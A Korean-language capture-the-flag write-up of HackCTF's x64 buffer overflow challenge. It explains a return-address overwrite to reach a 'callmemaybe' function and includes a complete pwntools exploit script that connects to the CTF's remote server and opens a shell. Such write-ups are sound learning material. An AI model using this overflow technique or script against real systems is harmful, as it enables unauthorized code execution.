HACKCTF - x64 Buffer Overflow
2020. 7. 10. 11:00ㆍCTF's Write-up
문제 이름부터 전형적인 64bit BOF문제를 나타내는 것을 볼 수 있다.
실행은 입력한 값에 앞에 Hello 를 붙여주는 형식이다.
NX가 켜져있으니 전에 했던 문제들처럼 shellcode를 직접 넣어서 푸는 문제형식은 아닐것이다.
scanf 에서 입력제한을두지 않으니 기본적인 bof기법으로 RET를 덮으면 될듯한데 쉘의 위치를 찾으려 하니 마침 아래 함수가 보였다.
더미로 s[0x110]을 덮고 SFP[0x8] 추가해주고, 마지막 RET[0x8] <-- callmemaybe 주소를 넣으면 될 듯 한다.
함수의 주소 같은 경우는 어셈의 아랫부분을 보면 //starts at ~~~ 이 있는데 ~~부분이 함수의 주소값이다 참고하면 편하다.
따라서 정리하면 "A"*0x110 + "A"0x8 + RET 로 익스를 구성하면 될 듯 하다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
from pwn import *
e = ELF("./64bof_basic")
#r = process("./64bof_basic")
r = remote("ctf.j0n9hyun.xyz", 3004)
context.log_level = "debug"
shell = 0x400606
sleep(0.1)
payload = ""
payload += "A"*0x110
payload += "A"*0x8
payload += p64(shell)
r.sendline(payload)
r.interactive()
|
cs |
익스 코드는 위와 같고, 실행하면 다음과 같다.
(grin)
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - Who am I? (0) | 2020.07.12 |
---|---|
HACKCTF - Welcome_REV (0) | 2020.07.11 |
HACKCTF - Button (0) | 2020.07.09 |
HACKCTF - Home (0) | 2020.07.09 |
HACKCTF - 내 버퍼가 흘러넘친다!!! (0) | 2020.07.09 |